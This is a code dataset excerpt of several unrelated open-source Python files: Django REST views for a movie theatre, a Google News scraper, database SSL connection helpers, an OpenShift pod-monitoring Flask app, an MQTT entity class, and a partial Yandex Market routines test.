= overlay(cluster_df = tsne_df,\n x_col_name = \"tSNE_1\",\n y_col_name = \"tSNE_2\",\n overlay_df = libraScore_dic[\"HIV_BG505_N332T_df\"],\n overlay_val_col_name = \"HIV_BG505_N332T\")\n\nHIV_BG505_N332T_fig.savefig(fname = \"HIV_BG505_N332T libraseq score on RNA seq clusters.jpg\")","repo_name":"QSBSC/QSBSC_Class_2020","sub_path":"Users/Wanying/Final_project/New_plot/plot_code.py","file_name":"plot_code.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"23719577245","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom ..models import Shows\nfrom .serializers import ShowSerializer\nimport datetime\nfrom datetime import timezone\nfrom rest_framework import status\n\n\nclass Home(APIView):\n def get(self, request, format=None):\n res = {\n \"Message\": \"Welcome\"\n }\n return Response(res, status=status.HTTP_200_OK)\n\n\nclass CreateShows(APIView):\n\n def post(self, request, format=None):\n try:\n movie = request.data[\"moviename\"]\n screen = request.data[\"screen\"]\n dur = request.data[\"duration\"]\n time = request.data[\"starttime\"]\n except:\n shows = {\n 'message': \"all parameter required\"\n }\n return Response(shows, status=status.HTTP_400_BAD_REQUEST)\n try:\n date_time_obj = datetime.datetime.strptime(\n time, '%H:%M:%S %Y-%m-%d')\n except:\n shows = {\n 'message': \"Enter Valid date time format(%H:%M:%S %Y-%m-%d)\"\n }\n return Response(shows, status=status.HTTP_400_BAD_REQUEST)\n try:\n show = Shows.objects.create(\n MovieName=movie, Screen=screen, Duration=dur, StartTime=date_time_obj)\n show.save()\n except:\n shows = {\n 'message': \"Unknown error\"\n }\n return Response(shows, status=status.HTTP_400_BAD_REQUEST)\n shows = Shows.objects.all()\n serializers = ShowSerializer(shows, many=True)\n return Response(serializers.data, status=status.HTTP_200_OK)\n\n\nclass ViewShows(APIView):\n\n def get(self, request, format=None):\n try:\n request.query_params[\"all\"]\n except:\n shows = {\n 'message': \"all parameter required\"\n }\n return Response(shows, status=status.HTTP_400_BAD_REQUEST)\n if(request.query_params[\"all\"] == \"true\"):\n shows = Shows.objects.all()\n serializers = ShowSerializer(shows, many=True)\n return Response(serializers.data, status=status.HTTP_200_OK)\n try:\n time = request.query_params[\"time\"]\n date_time_obj = datetime.datetime.strptime(\n time, '%H:%M:%S %Y-%m-%d')\n except:\n shows = {\n 'message': \"Enter Valid date time format(%H:%M:%S %Y-%m-%d)\"\n }\n return Response(shows, status=status.HTTP_400_BAD_REQUEST)\n try:\n shows = Shows.objects.filter(StartTime=date_time_obj)\n except:\n shows = {\n 'message': \"No shows available\"\n }\n return Response(shows, status=status.HTTP_204_NO_CONTENT)\n serializers = ShowSerializer(shows, many=True)\n return Response(serializers.data, status=status.HTTP_200_OK)\n\n\nclass checkExpired(APIView):\n\n def get(self, request, format=None):\n shows = Shows.objects.all()\n serializers = ShowSerializer(shows, many=True)\n return Response(serializers.data, status=status.HTTP_200_OK)\n\n def put(self, request, format=None):\n try:\n shows = Shows.objects.filter(IsExpired=False)\n except Shows.DoesNotExist:\n shows = {\n 'message': \"No shows available\"\n }\n return Response(shows, status=status.HTTP_204_NO_CONTENT)\n for show in shows:\n time = show.StartTime\n\n currenttime = datetime.datetime.utcnow()\n utc_time = currenttime.replace(tzinfo=timezone.utc)\n\n if(utc_time - time >= datetime.timedelta(hours=8, minutes=0)):\n show.IsExpired = True\n show.save()\n serializers = ShowSerializer(shows, many=True)\n return Response(serializers.data, status=status.HTTP_200_OK)\n\n def delete(self, request, format=None):\n try:\n shows = Shows.objects.filter(IsExpired=True)\n except Shows.DoesNotExist:\n shows = {\n 'message': \"No shows available\"\n }\n return Response(shows, status=status.HTTP_204_NO_CONTENT)\n for show in shows:\n show.delete()\n shows = Shows.objects.all()\n serializers = ShowSerializer(shows, many=True)\n return Response(serializers.data, status=status.HTTP_200_OK)\n","repo_name":"cptc0ld/MovieTheatreBooking","sub_path":"shows/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"948859063","text":"from requests import session\nimport urllib.parse\nfrom requests_html import HTMLSession\nimport pandas as pd\n\nclass GoogleSearchNews:\n def paginate(self, url, previous_url = None):\n if url == previous_url: return\n session = HTMLSession()\n header = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"\n }\n resp = session.get(url, headers = header)\n #print(resp)\n yield resp\n next_page = resp.html.find(\"a#pnnext\")\n #print(next_page)\n if next_page is None: return\n try:\n next_page_url = urllib.parse.urljoin(\"https://www.google.com/\", next_page[0].attrs[\"href\"])\n #print(next_page_url)\n yield from self.paginate(next_page_url, url) \n except: pass\n\n def scrape_articles(self):\n pages = self.paginate(\"https://www.google.com/search?q=covid+19+india&sxsrf=ALiCzsbFF20mR8EgVYoIo_i-jOglEn3mQQ:1658986430787&source=lnms&tbm=nws&sa=X&ved=2ahUKEwjkp5OH7pr5AhWzv2MGHdsqCV4Q_AUoAXoECAIQAw&biw=1536&bih=722&dpr=1.25\")\n NewsList = []\n for page in pages:\n num_page = page.html.find(\"td.YyVfkd\")[0].text\n #print(num_page)\n print(f\"Scraping page number: {int(num_page)}\\n\")\n articles = page.html.find(\"a.WlydOe\")\n #print(articles)\n for article in articles:\n title = article.find(\"div.mCBkyc\")[0].text\n NewsList.append({\n \"Title\":title\n })\n #print(NewsList) \n return NewsList\n\n def output_data(self, NewsList):\n data_news = pd.DataFrame(NewsList)\n data_news.to_csv(\"Google_News.csv\", index = False)\n print(\"Saved to csv\") \n \n\nnews = GoogleSearchNews()\ndata = news.scrape_articles()\nnews.output_data(data)\n","repo_name":"kamini-singh/GoogleNews-SentimentAnalysis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30716277915","text":"import ssl\nfrom enum import StrEnum\nfrom pathlib import Path\n\nfrom sqlalchemy import engine\n\n\nclass DatabaseType(StrEnum):\n POSTGRESQL = \"POSTGRESQL\"\n MYSQL = \"MYSQL\"\n SQLITE = \"SQLITE\"\n\n def get_display_name(self) -> str:\n display_names = {\n DatabaseType.POSTGRESQL: \"PostgreSQL\",\n DatabaseType.MYSQL: \"MySQL\",\n DatabaseType.SQLITE: \"SQLite\",\n }\n return display_names[self]\n\n @classmethod\n def choices(cls) -> list[tuple[str, str]]:\n return [\n (member.value, member.get_display_name())\n for member in cls\n if member != DatabaseType.SQLITE\n ]\n\n @classmethod\n def coerce(cls, item):\n return cls(str(item)) if not isinstance(item, cls) else item\n\n\nclass PostreSQLSSLMode(StrEnum):\n DISABLE = \"disable\"\n ALLOW = \"allow\"\n PREFER = \"prefer\"\n REQUIRE = \"require\"\n VERIFY_CA = \"verify-ca\"\n VERIFY_FULL = \"verify-full\"\n\n def get_display_name(self) -> str:\n display_names = {\n PostreSQLSSLMode.DISABLE: \"Disabled\",\n PostreSQLSSLMode.ALLOW: \"Allow\",\n PostreSQLSSLMode.PREFER: \"Prefer\",\n PostreSQLSSLMode.REQUIRE: \"Require\",\n PostreSQLSSLMode.VERIFY_CA: \"Verify CA\",\n PostreSQLSSLMode.VERIFY_FULL: \"Verify Full\",\n }\n return display_names[self]\n\n @classmethod\n def choices(cls) -> list[tuple[str, str]]:\n return [(member.value, member.get_display_name()) for member in cls]\n\n @classmethod\n def coerce(cls, item):\n return cls(str(item)) if not isinstance(item, cls) else item\n\n\nclass MySQLSSLMode(StrEnum):\n DISABLED = \"DISABLED\"\n PREFERRED = \"PREFERRED\"\n REQUIRED = \"REQUIRED\"\n VERIFY_CA = \"VERIFY_CA\"\n VERIFY_IDENTITY = \"VERIFY_IDENTITY\"\n\n def get_display_name(self) -> str:\n display_names = {\n MySQLSSLMode.DISABLED: \"Disabled\",\n MySQLSSLMode.PREFERRED: \"Preferred\",\n MySQLSSLMode.REQUIRED: \"Required\",\n MySQLSSLMode.VERIFY_CA: \"Verify CA\",\n MySQLSSLMode.VERIFY_IDENTITY: \"Verify Identity\",\n }\n return display_names[self]\n\n @classmethod\n def choices(cls) -> list[tuple[str, str]]:\n return [(member.value, member.get_display_name()) for member in cls]\n\n @classmethod\n def coerce(cls, item):\n return cls(str(item)) if not isinstance(item, cls) else item\n\n\nSSLMode = PostreSQLSSLMode | MySQLSSLMode\n\nSSL_MODES: dict[DatabaseType, type[SSLMode]] = {\n DatabaseType.POSTGRESQL: PostreSQLSSLMode,\n DatabaseType.MYSQL: MySQLSSLMode,\n}\n\nUNSAFE_SSL_MODES = {\n PostreSQLSSLMode.DISABLE,\n PostreSQLSSLMode.ALLOW,\n PostreSQLSSLMode.PREFER,\n MySQLSSLMode.DISABLED,\n MySQLSSLMode.PREFERRED,\n}\n\nSYNC_DRIVERS: dict[DatabaseType, str] = {\n DatabaseType.POSTGRESQL: \"postgresql\",\n DatabaseType.MYSQL: \"mysql+pymysql\",\n DatabaseType.SQLITE: \"sqlite\",\n}\n\nASYNC_DRIVERS: dict[DatabaseType, str] = {\n DatabaseType.POSTGRESQL: \"postgresql+asyncpg\",\n DatabaseType.MYSQL: \"mysql+aiomysql\",\n DatabaseType.SQLITE: \"sqlite+aiosqlite\",\n}\n\n\ndef get_driver(type: DatabaseType, *, asyncio: bool) -> str:\n drivers = ASYNC_DRIVERS if asyncio else SYNC_DRIVERS\n return drivers[type]\n\n\ndef get_ssl_mode_parameters(\n drivername: str, ssl_mode: str, query: dict[str, str], connect_args: dict\n) -> tuple[dict[str, str], dict]:\n if ssl_mode in [PostreSQLSSLMode.DISABLE, MySQLSSLMode.DISABLED]:\n return query, connect_args\n\n # Build a SSL context\n context = ssl.create_default_context()\n\n # Basic mode: no hostname check, no certificate check\n context.check_hostname = False\n context.verify_mode = ssl.CERT_NONE\n\n # Verify CA mode, check the certificate\n if ssl_mode in [PostreSQLSSLMode.VERIFY_CA, MySQLSSLMode.VERIFY_CA]:\n context.verify_mode = ssl.CERT_REQUIRED\n\n # Verify full mode, check the certificate and hostname\n if ssl_mode in [PostreSQLSSLMode.VERIFY_FULL, MySQLSSLMode.VERIFY_IDENTITY]:\n context.check_hostname = True\n\n # PyMySQL does not support SSL context, it uses LibPQ directly so we just pass allowed query parameters\n if drivername == \"postgresql\":\n query[\"sslmode\"] = ssl_mode\n query[\"sslrootcert\"] = ssl.get_default_verify_paths().openssl_cafile\n elif drivername in [\"postgresql+asyncpg\", \"mysql+aiomysql\", \"mysql+pymysql\"]:\n connect_args[\"ssl\"] = context\n\n return query, connect_args\n\n\nDatabaseConnectionParameters = tuple[engine.URL, dict]\n\n\ndef create_database_connection_parameters(\n type: DatabaseType,\n *,\n asyncio: bool,\n username: str | None = None,\n password: str | None = None,\n host: str | None = None,\n port: int | None = None,\n database: str | None = None,\n path: Path | None = None,\n schema: str | None = None,\n ssl_mode: str | None = None,\n) -> DatabaseConnectionParameters:\n drivername = get_driver(type, asyncio=asyncio)\n query: dict[str, str] = {}\n connect_args: dict = {}\n\n if ssl_mode:\n query, connect_args = get_ssl_mode_parameters(\n drivername, ssl_mode, query, connect_args\n )\n\n url = engine.URL.create(\n drivername=drivername,\n username=username,\n password=password,\n host=host,\n port=port,\n database=database,\n query=query,\n )\n\n dialect_name = url.get_dialect().name\n if dialect_name == \"sqlite\":\n name = schema if schema is not None else database\n assert name is not None\n assert path is not None\n url = url.set(database=str(path / name))\n\n return url, connect_args\n","repo_name":"fief-dev/fief","sub_path":"fief/db/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":5643,"program_lang":"python","lang":"en","doc_type":"code","stars":330,"dataset":"github-code","pt":"72"} +{"seq_id":"19192328679","text":"if __name__ == '__main__':\n length = int(input())\n plus, minus = [], []\n p_count, m_count = 0, 0\n remnant_one, remnant_zero = 0, 0\n\n for i in range(length):\n num = int(input())\n if num > 0:\n if num == 1:\n remnant_one += 1\n else:\n p_count += 1\n plus.append(num)\n elif num < 0:\n m_count += 1\n minus.append(num)\n else:\n remnant_zero += 1\n\n plus.sort(reverse=True)\n if remnant_zero > 0 and remnant_zero % 2 != 0:\n minus = sorted(minus)[:-remnant_zero % 2]\n else:\n minus = sorted(minus)\n\n print(plus)\n print(minus)\n\n result = 0\n buffer = None\n for count, db in zip([p_count, m_count], [plus, minus]):\n if count % 2 == 0:\n for idx in range(count):\n if buffer is None:\n buffer = db[idx]\n else:\n result += buffer*db[idx]\n buffer = None\n else:\n for idx in range(count-1):\n if buffer is None:\n buffer = db[idx]\n else:\n result += buffer*db[idx]\n buffer = None\n result += db[-1] if len(db) > 0 else 0\n\n print(result+remnant_one)\n","repo_name":"Leetaihaku/Algorithm","sub_path":"tie_number.py","file_name":"tie_number.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18753670466","text":"import subprocess\r\nimport os\r\n# run_bash_command_in_different_env() runs that command a different conda environment.\r\n#\r\n# command - a bash command\r\n# env - name of a conda environment\r\n \r\ndef run_bash_command_in_different_env(command, env):\r\n full_command = 'bash -c ' \\\r\n ' \"source /home/abharadwaj61/anaconda3/etc/profile.d/conda.sh; ' \\\r\n ' conda activate ' \\\r\n + env + ' ; ' \\\r\n + command + ' \"'\r\n print(\"Full Python Subrocess Command: \" + str(full_command))\r\n\r\n \r\n #out = subprocess.run(full_command, shell=True, stdout=subprocess.DEVNULL)\r\n out = subprocess.run(full_command, shell=True)\r\n\r\ndef run_genomeAssembly(filepath):\r\n command = 'python /projects/team-2/abharadwaj61/django/predictivewebserver/genome_assembly/genome_assembly_pipeline/pipeline.py -i ' + filepath + ' -S -l'\r\n run_bash_command_in_different_env(command, \"GA\")\r\n\r\ndef run_genePrediction(filepath):\r\n #command = 'python pipeline.py -i ~/7210/test/data -S -l'\r\n #make a change to run this as a zip format file\r\n command = 'python3 /projects/team-2/abharadwaj61/django/predictivewebserver/genome_assembly/gene_prediction_pipeline/geneprediction_pipeline.py -i ' + filepath +'/*' \\\r\n ' -d /home/abharadwaj61/Databases/Ecoli_k12_mg1655_refdb_protein.faa' \\\r\n ' -b /home/abharadwaj61/Databases/Ecoli_k12_mg1655_refdb_protein.faa -f /home/abharadwaj61/Databases/Rfam.cm -m 0.99'\r\n run_bash_command_in_different_env(command, \"gene_prediction\")\r\n\r\ndef run_functionalAnnotation(filepath):\r\n #command = 'python pipeline.py -i ~/7210/test/data -S -l'\r\n run_bash_command_in_different_env(command, \"functional_annotation\")\r\n\r\ndef run_comparitiveGenomics(filepath):\r\n #command = 'python pipeline.py -i ~/7210/test/data -S -l'\r\n #user requirements, fastq, fastas and scaffolds\r\n #write a helper functions to give it in this format\r\n #filename = os.listdir(filepath)[0] \r\n command = 'python3 /projects/team-2/abharadwaj61/django/predictivewebserver/genome_assembly/comparative_genomics_pipeline/comp_gen_pipeline.py -d ' + filepath \r\n run_bash_command_in_different_env(command, \"comp_genom\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n print('testing out the env switch: Running this in base first')\r\n\r\n run_comparativeGenomics('sample_file_path')\r\n","repo_name":"rbr7/compgenomics-2021-Team2_WebServer","sub_path":"src/functions/env_switch.py","file_name":"env_switch.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38986785225","text":"from flask import Flask\nfrom multiprocessing import Process, Value\nfrom PodDataCollect import *\nfrom PodStatusCheck import *\nimport logging, os\nfrom dotenv import load_dotenv\nimport subprocess, sys\nimport database\n\nload_dotenv(\".env\")\nOCP_URL = os.getenv('OCP_URL')\nOC_USER = os.getenv('OC_USER')\nOC_PASSWORD = os.getenv('OC_PASSWORD')\n\napp = Flask(__name__)\n# logging.basicConfig(filename='app.log', level=logging.DEBUG, format=f'%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')\nroot = logging.getLogger()\nroot.setLevel(logging.DEBUG)\n\n# logging to stdout\nhandler = logging.StreamHandler(sys.stdout)\nhandler.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\nroot.addHandler(handler)\n\n# login OCP3 Non prod (no need if we export KUBE_CONFIG in dockerfile)\nocp_login = f\"oc login --config /tmp/config {OCP_URL} -u={OC_USER} -p={OC_PASSWORD} --insecure-skip-tls-verify=true\"\nlogging.info(f\"OCP login: {ocp_login}\")\nsubprocess.check_output(ocp_login, shell=True, stderr=subprocess.STDOUT)\n\n# read app list to check\napp_list_file = \"app_list_to_check.txt\"\n\n@app.route('/staging', methods=['GET'])\ndef pod_alert_staging():\n staging_pods = PodStatusCheck(app_list_file, \"equator-default-staging\")\n staging_pods.check_app_status()\n\n@app.route('/sandbox', methods=['GET'])\ndef pod_alert_dev():\n dev_pods = PodStatusCheck(app_list_file, \"equator-sandbox-dev\")\n dev_pods.check_app_status() \n\n@app.route('/release1', methods=['GET'])\ndef pod_alert_release1():\n release1_pods = PodStatusCheck(app_list_file, \"equator-default-release1\")\n release1_pods.check_app_status() \n\n@app.route('/release2', methods=['GET'])\ndef pod_alert_release2():\n release2_pods = PodStatusCheck(app_list_file, \"equator-default-release2\")\n release2_pods.check_app_status() \n\n@app.route('/performance', methods=['GET'])\ndef pod_alert_performance():\n performance_pods = PodStatusCheck(app_list_file, \"equator-default-performance\")\n performance_pods.check_app_status() \n\nif __name__ == \"__main__\":\n recording_on = Value('b', True)\n # for p_name in (\"pod_alert_staging\", \"pod_alert_release1\", \"pod_alert_release2\", \"pod_alert_sandbox\", \"pod_alert_performance\" ):\n # p = Process(target=p_name)\n # p.start()\n # p.join()\n # app.run(debug=True, use_reloader=False)\n p1 = Process(target=pod_alert_staging)\n p2 = Process(target=pod_alert_dev)\n p3 = Process(target=pod_alert_release1)\n p4 = Process(target=pod_alert_release2)\n p5 = Process(target=pod_alert_performance)\n p1.start(); \n p2.start() \n p3.start()\n p4.start()\n p5.start()\n app.run(debug=True, use_reloader=False)\n p1.join()\n p2.join()\n p3.join()\n p4.join()\n p5.join()\n\n \n","repo_name":"dan1304/openshift-pod-monitoring","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24761545968","text":"from yamaha_bt.const import BASE_TOPIC, DEFAULT_QOS, DEVICE_UNIQUE_ID, DEVICE_INFO\nfrom yamaha_bt.util import slugify\nimport json\n\nclass Entity:\n\n def __init__(self, device):\n \"\"\"Init Entity.\"\"\"\n self.device = device\n self.discovery_msg = {\n \"device\": DEVICE_INFO,\n \"availability_topic\": f\"{BASE_TOPIC}{self.unique_id}/availability\",\n \"payload_available\": \"online\",\n \"payload_not_available\": \"offline\",\n \"name\": self.name,\n \"icon\": self.icon,\n \"unique_id\": self.unique_id,\n \"state_topic\": f\"{BASE_TOPIC}{self.unique_id}/state\",\n }\n\n \n async def register(self):\n raise NotImplementedError\n \n @property\n def unique_id(self) -> str:\n return f\"{DEVICE_UNIQUE_ID}_{slugify(self.name)}\"\n \n @property\n def name(self) -> str:\n return \"default sensor\"\n \n @property\n def icon(self) -> str:\n return None\n \n async def update(self) -> str:\n raise NotImplementedError\n \n async def send_availability(self, available=None) -> str:\n # Publish the discovery message to Home Assistant\n if available is None:\n available = self.device.yam.connected\n\n availability_topic = self.discovery_msg[\"availability_topic\"]\n if available is True:\n payload = self.discovery_msg[\"payload_available\"]\n else:\n payload = self.discovery_msg[\"payload_not_available\"]\n await self.device.mqtt.publish(\n availability_topic, payload, DEFAULT_QOS, False\n )\n","repo_name":"Megabytemb/yamaha-soundbar-mqtt","sub_path":"yamaha_bt/entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"443754979","text":"# coding: utf-8\n\nimport pytest\nimport mock\nimport logging\nfrom market.idx.datacamp.routines.yatf.resources.config_mock import RoutinesConfigMock\nfrom market.idx.datacamp.routines.yatf.test_env import MbocOffersDiffCreatorAndSenderEnv\nfrom market.idx.yatf.resources.yt_table_resource import YtDynTableResource\nfrom yt.wrapper.ypath import ypath_join\nfrom market.idx.yatf.utils.utils import rows_as_table\nfrom market.idx.yatf.resources.lbk_topic import LbkTopic\nfrom hamcrest import assert_that\nfrom market.idx.datacamp.yatf.matchers.matchers import HasSerializedDatacampMessages\n\nNEW_GENERATION_0 = '20200101_0000'\nNEW_GENERATION_1 = '20200102_0000'\nNEW_GENERATION_2 = '20200302_0000' # Прошло слишком много времени с момента последнего запуска\nMBOC_OFFERS_DIR = '//home/mboc_offers_expanded'\n# Эмулируем изменение дин-таблицы, за счёт указания разных таблиц\nMBOC_OFFERS_EXTERNAL_TABLE_0 = '//home/mboc_offers_external_table0'\nMBOC_OFFERS_EXTERNAL_TABLE_1 = '//home/mboc_offers_external_table1'\nMBOC_OFFERS_EXTERNAL_TABLE_2 = '//home/mboc_offers_external_table2'\nSTATES_NUM = 2\n\n\nMBOC_OFFERS_EXTERNAL_TABLE_DATA_0 = [\n {'supplier_id': 10, 'shop_sku': 'shop_sku0', 'approved_market_sku_id': 0, 'title': None, 'business_id': 1},\n {'supplier_id': 10, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 100, 'title': None, 'business_id': 1},\n {'supplier_id': 10, 'shop_sku': 'shop_sku2', 'approved_market_sku_id': 100, 'title': 'sometitle', 'approved_sku_mapping_ts': 'somets', 'business_id': 1},\n {'supplier_id': 11, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 111, 'title': 'sometitle', 'approved_sku_mapping_ts': 'somets', 'business_id': 1},\n {'supplier_id': 11, 'shop_sku': 'shop_sku2', 'approved_market_sku_id': 111, 'title': 'sometitle', 'approved_sku_mapping_ts': 'somets', 'business_id': 1},\n {'supplier_id': 12, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 121, 'title': 'sometitle', 'approved_sku_mapping_ts': 'somets', 'business_id': 1},\n {'supplier_id': 13, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 10, 'title': 'sometitle', 'approved_sku_mapping_ts': 'somets', 'business_id': 1},\n {'supplier_id': 13, 'shop_sku': 'shop_sku100', 'title': 'sometitle', 'business_id': 1}, # Нет колонки approved_market_sku_id\n {'supplier_id': 13, 'shop_sku': 'shop_sku101', 'approved_market_sku_id': None, 'title': 'sometitle', 'business_id': 1}, # В колонке None\n {'supplier_id': 13, 'shop_sku': 'shop_sku102', 'approved_market_sku_id': 0, 'title': 'sometitle', 'business_id': 1}, # В колонке 0\n]\n\nMBOC_OFFERS_EXTERNAL_TABLE_DATA_1 = [\n {'supplier_id': 10, 'shop_sku': 'shop_sku0', 'approved_market_sku_id': 0, 'title': None, 'business_id': 1},\n {'supplier_id': 10, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 100, 'title': None, 'business_id': 1},\n {'supplier_id': 10, 'shop_sku': 'shop_sku2', 'approved_market_sku_id': 100, 'title': 'sometitle',\n 'approved_sku_mapping_ts': 'somets', 'business_id': 1},\n {'supplier_id': 10, 'shop_sku': 'shop_sku3', 'approved_market_sku_id': 100, 'title': 'sometitle',\n 'approved_sku_mapping_ts': 'somets', 'business_id': 1}, # добавлен оффер к msku 100\n {'supplier_id': 11, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 111, 'title': 'sometitle',\n 'approved_sku_mapping_ts': 'somets', 'business_id': 1},\n # {'id': 5, 'supplier_id': 11, 'shop_sku': 'shop_sku2', 'approved_market_sku_id': 111, 'title': 'sometitle', 'approved_sku_mapping_ts': 'somets'}, # удалён оффер из msku 111\n {'supplier_id': 12, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 141, 'title': 'sometitle',\n 'approved_sku_mapping_ts': 'somets', 'business_id': 1}, # поменялся маппинг у оффера. Задело msku 121, 141\n {'supplier_id': 13, 'shop_sku': 'shop_sku1', 'approved_market_sku_id': 10, 'title': 'sometitle',\n 'approved_sku_mapping_ts': 'somets', 'business_id': 1}, # у msku 10 ничего не поменялось\n {'supplier_id': 13, 'shop_sku': 'shop_sku100', 'title': 'sometitle', 'business_id': 1},\n {'supplier_id': 13, 'shop_sku': 'shop_sku101', 'approved_market_sku_id': None, 'title': 'sometitle', 'business_id': 1},\n {'supplier_id': 13, 'shop_sku': 'shop_sku102', 'approved_market_sku_id': 0, 'title': 'sometitle', 'business_id': 1},\n]\n\nMBOC_OFFERS_EXTERNAL_TABLE_DATA_2 = []\n\nCONFIG = {\n 'general': {\n 'color': 'white',\n 'yt_home': '//home/datacamp'\n },\n 'mboc_offers': {\n 'enable_mboc_offers_creator_and_sender': True,\n 'mboc_offers_dir': MBOC_OFFERS_DIR,\n 'states_num': STATES_NUM,\n 'mboc_offers_big_dates_difference_sec': 432000,\n 'mboc_offers_send_diff_to_datacamp_topic': True,\n 'mboc_offers_mskus_in_message': 2 # Специально поставим 2, чтобы проверить разбиение на сообщения\n },\n}\n\nlog = logging.getLogger('')\n\n\ndef mboc_offers_external_attributes():\n schema = [\n dict(name='supplier_id', type='int64', sort_order='ascending'),\n dict(name='shop_sku', type='string', sort_order='ascending'),\n dict(name='approved_market_sku_id', type='int64'),\n dict(name='approved_sku_mapping_ts', type='string'),\n dict(name='title', type='string'),\n dict(name='business_id', type='int64'),\n ]\n\n attrs = {\n 'schema': schema,\n 'dynamic': True\n }\n\n return attrs\n\n\nclass MbocOffersExternalTable(YtDynTableResource):\n def __init__(self, yt_stuff, path, data=None):\n super(MbocOffersExternalTable, self).__init__(\n yt_stuff=yt_stuff,\n path=path,\n attributes=mboc_offers_external_attributes(),\n data=data,\n )\n\n\n@pytest.fixture(scope='module')\ndef datacamp_internal_msku_topic(log_broker_stuff):\n return LbkTopic(log_broker_stuff)\n\n\ndef prepare_config(external_mboc_offers_table, yt_server, log_broker_stuff, datacamp_internal_msku_topic):\n c = dict(CONFIG)\n c['mboc_offers']['mboc_offers_external_table'] = external_mboc_offers_table\n c['mboc_offers']['datacamp_msku_topic'] = datacamp_internal_msku_topic.topic\n c['yt'] = {'map_reduce_proxies': [yt_server.get_yt_client().config[\"proxy\"][\"url\"]]}\n config = RoutinesConfigMock(\n yt_server,\n log_broker_stuff=log_broker_stuff,\n config=c\n )\n return config\n\n\n@pytest.fixture(scope='module')\ndef config_0(yt_server, datacamp_internal_msku_topic, log_broker_stuff):\n return prepare_config(MBOC_OFFERS_EXTERNAL_TABLE_0, yt_server, log_broker_stuff, datacamp_internal_msku_topic)\n\n\n@pytest.fixture(scope='module')\ndef config_1(yt_server, datacamp_internal_msku_topic, log_broker_stuff):\n return prepare_config(MBOC_OFFERS_EXTERNAL_TABLE_1, yt_server, log_broker_stuff, datacamp_internal_msku_topic)\n\n\n@pytest.fixture(scope='module')\ndef config_2(yt_server, datacamp_internal_msku_topic, log_broker_stuff):\n return prepare_config(MBOC_OFFERS_EXTERNAL_TABLE_2, yt_server, log_broker_stuff, datacamp_internal_msku_topic)\n\n\n@pytest.fixture(scope='module')\ndef mboc_offers_external_table_0(yt_server, config_0):\n return MbocOffersExternalTable(yt_server, config_0.mboc_offers_external_table, data=MBOC_OFFERS_EXTERNAL_TABLE_DATA_0)\n\n\n@pytest.fixture(scope='module')\ndef mboc_offers_external_table_1(yt_server, config_1):\n return MbocOffersExternalTable(yt_server, config_1.mboc_offers_external_table, data=MBOC_OFFERS_EXTERNAL_TABLE_DATA_1)\n\n\n@pytest.fixture(scope='module')\ndef mboc_offers_external_table_2(yt_server, config_2):\n return MbocOffersExternalTable(yt_server, config_2.mboc_offers_external_table, data=MBOC_OFFERS_EXTERNAL_TABLE_DATA_2)\n\n\n@pytest.yield_fixture(scope='module')\ndef routines_0(\n yt_server,\n config_0,\n mboc_offers_external_table_0,\n datacamp_internal_msku_topic,\n):\n resources = {\n 'mboc_offers_external_table': mboc_offers_external_table_0,\n 'config': config_0,\n 'datacamp_internal_msku_topic': datacamp_internal_msku_topic\n }\n with mock.patch('market.idx.datacamp.routines.lib.tasks.mboc_offers_diff_creator.create_generation_name', return_value=NEW_GENERATION_0):\n with MbocOffersDiffCreatorAndSenderEnv(yt_server, **resources) as routines_env:\n yield routines_env\n\n\ndef print_table(table_data, path):\n log.info('path\\n{}\\n{}'.format(path, rows_as_table(table_data)))\n\n\n@pytest.yield_fixture(scope='module')\ndef internal_test_0(routines_0, yt_server):\n yt_client = yt_server.get_yt_client()\n tables = yt_client.list(ypath_join(MBOC_OFFERS_DIR, 'states'))\n\n # I. Проверяем, что создана директория и в ней есть таблица и recent\n assert tables == [NEW_GENERATION_0, 'recent']\n assert 'recent' in tables\n\n # II. Проверяем содежимое таблицы и её атрибуты\n p = ypath_join(MBOC_OFFERS_DIR, 'states', 'recent')\n assert bool(yt_client.get(ypath_join(p, '@dynamic'))) is True\n assert yt_client.get_attribute(p, 'key_columns') == ['msku_id', 'supplier_id', 'shop_sku']\n\n last_copied_mboc_table_data = list(yt_client.read_table(p))\n print_table(last_copied_mboc_table_data, p)\n\n\n@pytest.yield_fixture(scope='module')\ndef routines_1(\n internal_test_0,\n yt_server,\n config_1,\n mboc_offers_external_table_1,\n datacamp_internal_msku_topic\n):\n resources = {\n 'mboc_offers_external_table': mboc_offers_external_table_1,\n 'config': config_1,\n 'datacamp_internal_msku_topic': datacamp_internal_msku_topic\n }\n with mock.patch('market.idx.datacamp.routines.lib.tasks.mboc_offers_diff_creator.create_generation_name', 